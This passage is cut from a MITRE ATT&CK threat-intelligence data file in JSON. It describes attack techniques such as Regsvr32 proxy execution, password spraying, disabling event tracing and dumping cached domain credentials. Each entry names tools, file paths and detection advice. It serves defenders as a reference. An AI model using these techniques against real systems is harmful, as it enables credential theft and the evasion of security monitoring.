messages. Retrieved June 22, 2016.", "url": "https://support.microsoft.com/en-us/kb/249873"}, {"source_name": "LOLBAS Regsvr32", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."}, {"source_name": "Carbon Black Squiblydoo Apr 2016", "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", "source_name": "FireEye Regsvr32 Targeting Mongolian Gov"}], "modified": "2020-01-31T19:00:56.475Z", "name": "Regsvr32", "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}, {"phase_name": "execution", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Anti-virus", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-07T14:33:34.201Z", "name": "Password Spraying", "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)", "John Strand"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["User Account: User Account Authentication", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "created": "2020-02-11T18:39:25.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110/003", "external_id": "T1110.003"}, {"source_name": "Trimarc Detecting Password Spraying", "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"}, {"source_name": "BlackHillsInfosec Password Spraying", "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.", "url": "http://www.blackhillsinfosec.com/?p=4645"}, {"source_name": "US-CERT TA18-068A 2018", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:19:08.953Z", "name": "External Proxy", "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "created": "2020-03-14T23:12:18.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1090/002", "external_id": "T1090.002"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Trend Micro APT Attack Tools", "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:46.711Z", "name": "Web Portal Capture", "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_system_requirements": ["An externally facing login portal is configured."], "type": "attack-pattern", "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "created": "2020-02-11T18:59:50.058Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056/003", "external_id": "T1056.003"}, {"source_name": "Volexity Virtual Private Keylogging", "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2022-10-21T14:30:10.979Z", "name": "Email Addresses", "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"], "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "created": "2020-10-02T14:56:24.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1589/002", "external_id": "T1589.002"}, {"source_name": "Azure Active Directory Reconnaisance", "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.", "url": "https://o365blog.com/post/just-looking/"}, {"source_name": "GitHub Office 365 User Enumeration", "description": "gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.", "url": "https://github.com/gremwell/o365enum"}, {"source_name": "GrimBlog UsernameEnum", "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.", "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"}, {"source_name": "HackersArise Email", "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.", "url": "https://www.hackers-arise.com/email-scraping-and-maltego"}, {"source_name": "CNET Leaks", "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1164", "url": "https://attack.mitre.org/techniques/T1164"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}], "modified": "2020-01-24T18:26:18.933Z", "name": "Re-opened Applications", "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Rob Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", "type": "attack-pattern", "created": "2017-05-31T21:30:47.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1054", "url": "https://attack.mitre.org/techniques/T1054"}, {"external_id": "CAPEC-571", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/571.html"}, {"url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A", "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", "source_name": "Microsoft Lamin Sept 2017"}, {"source_name": "Microsoft About Event Tracing 2018", "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events", "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."}, {"source_name": "Medium Event Tracing Tampering 2018", "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."}], "modified": "2020-03-19T19:10:25.404Z", "name": "Indicator Blocking", "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>\n\n", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Anti-virus", "Log analysis", "Host intrusion prevention systems"], "x_mitre_is_subtechnique": false}, {"modified": "2023-09-08T21:03:35.477Z", "name": "Spearphishing Voice", "description": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289", "created": "2023-09-07T21:48:39.516Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1598/004", "external_id": "T1598.004"}, {"source_name": "Avertium callback phishing", "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.", "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"}, {"source_name": "BOA Telephone Scams", "description": "Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.", "url": "https://business.bofa.com/en-us/content/what-is-vishing.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", "type": "attack-pattern", "created": "2017-05-31T21:31:18.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1108", "url": "https://attack.mitre.org/techniques/T1108"}, {"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}], "modified": "2021-03-08T10:33:00.985Z", "name": "Redundant Access", "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.", "x_mitre_deprecated": true, "x_mitre_version": "3.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Network intrusion detection system", "Anti-virus"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1193", "external_id": "T1193"}, {"external_id": "CAPEC-163", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/163.html"}], "modified": "2020-03-02T19:08:17.884Z", "name": "Spearphishing Attachment", "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2024-04-18T23:47:54.553Z", "name": "Cached Domain Credentials", "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Ed Williams, Trustwave, SpiderLabs", "Tim (Wadhwa-)Brown", "Yves Yonan"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "created": 